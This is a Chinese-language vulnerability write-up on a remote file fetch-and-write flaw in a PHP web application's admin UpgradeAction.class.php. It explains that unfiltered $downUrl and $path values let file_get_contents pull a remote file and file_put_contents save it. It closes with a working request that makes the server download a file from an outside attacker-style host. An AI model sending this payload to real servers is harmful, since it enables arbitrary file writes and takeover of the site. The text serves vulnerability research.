漏洞文件: /apps/admin/Lib/Action/UpgradeAction.class.php
主要问题还是出现在了180行直接将远程获取到的图片直接保存。
文中可见并没有做任何的对$downUrl进行过滤,$path也是。
所以就顺利的通过file_get_contents远程获取到了文件,然后通过file_put_contents写入到了$path当中。所以你远程文件名是啥这儿就是啥。
那么现在就来构造Payload
1.首先先了解一下这个UpgradeAction.class.php这个文件大概是干嘛?
根据刚才代码所在的地方应该可以判断是一个下载升级包的地方,也不一定非要找漏洞的这个升级包的地方,也可以找这个函数附近的。这种基本都是可以调用的。
2.结果很被催并没有找到所谓的下载升级包的地方,但是找到了下图的一个地方
点击在线升级然后抓包。
发现这个路径好像有点符合逻辑了。Upgrade跟文件名(UpgradeAction.class.php)很像,并且admin是其目录。故判断admin是其模板,而act则很可能要执行的方法。那么搜一下在UpgradeAction.class.php文件当中搜一下check。
果不起然是其方法。那么就可以迎刃而解了。把check换成存在漏洞的那个方法,也就是step1。
最终就GET了payload:
index.php?app=admin&mod=Upgrade&act=step1&upurl=http://www.metaspl0it.com/1.txt